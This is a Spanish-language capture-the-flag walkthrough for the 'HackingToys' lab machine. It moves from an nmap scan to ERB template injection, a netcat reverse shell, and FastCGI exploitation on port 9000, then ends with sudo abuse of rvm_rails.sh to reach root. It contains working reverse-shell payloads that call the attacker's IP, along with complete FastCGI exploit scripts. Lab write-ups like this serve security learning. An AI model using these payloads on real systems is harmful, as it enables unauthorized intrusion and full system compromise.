HackingToys

Fase de reconocimiento

Primero realizamos un escaneo de nuestra red para identificar a la maquina vulnerable victima:

arp-scan -l

nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv

Ejecutamos un escaneo de nmap para ver ante que puertos abiertos y servicios nos enfrentamos. Y nos encontramos los puertos 22 (Ssh) y 3000 abiertos:

Entro (Con https) a la IP a traves del puerto 3000 y me encuentro con una pagina con varios gadgets y una barra con la cual podemos buscar dichos gadgets:

Fase de intrusión

Quizás la barra de busqueda es vulnerable a un SSTI (Server Side Template Injection), vamos a probar a url encodear 7*7, y si la respuesta es 49, significara que es vulnerable (Página web):

Vamos a lanzar una reverse shell a nuestra maquina victima:

<%= system("nc -e /bin/bash 192.168.8.109 4444") %>
Nos llega exitosamente

Escalada de privilegios

Ahora depuramos la tty y a continuación ejecutamos ss -altpn para ver a que puertos esta escuchando la maquina victima y podemos apreciar que esta escuchando al puerto 9000, el cual corresponde a Fast-cgi:

Para confirmar que en efecto se esta haciendo uso de Fast-cgi podemos ir a la siguiente ruta para confirmarlo:

Ahora vamos a explotarlo, creamos el siguiente código extraido de HacksTricks y le damos permisos con chmod +x exploit.sh (En mi caso me he ido a /dev/shm y he creado un index.php vacio, y ese archivo creado es la ruta que he introducido en "FILENAMES"):

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

Ejecutamos el archivo:

Ahora que sabes que funciona, vamos a mandarnos una reverse shell a nuestra maquina (Script extraido de está pagina web):

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
Nos llega la solicitud con exito

Procedemos a depurar la tty y ahora si que podemos ejecutar sudo -l y vemos que todo el mundo puede ejecutar rvm_rails.sh:

Vamos a crear un nuevo tipo de rvm_rails.sh, para poder así entrar a la consola:

Entramos corriendo como sudo el archivo y introduciendo como parametro console, y comprobamos que permisos tendria:

Ahora vamos a correr un bash para ser root y tener aceso total a la maquina:

Last updated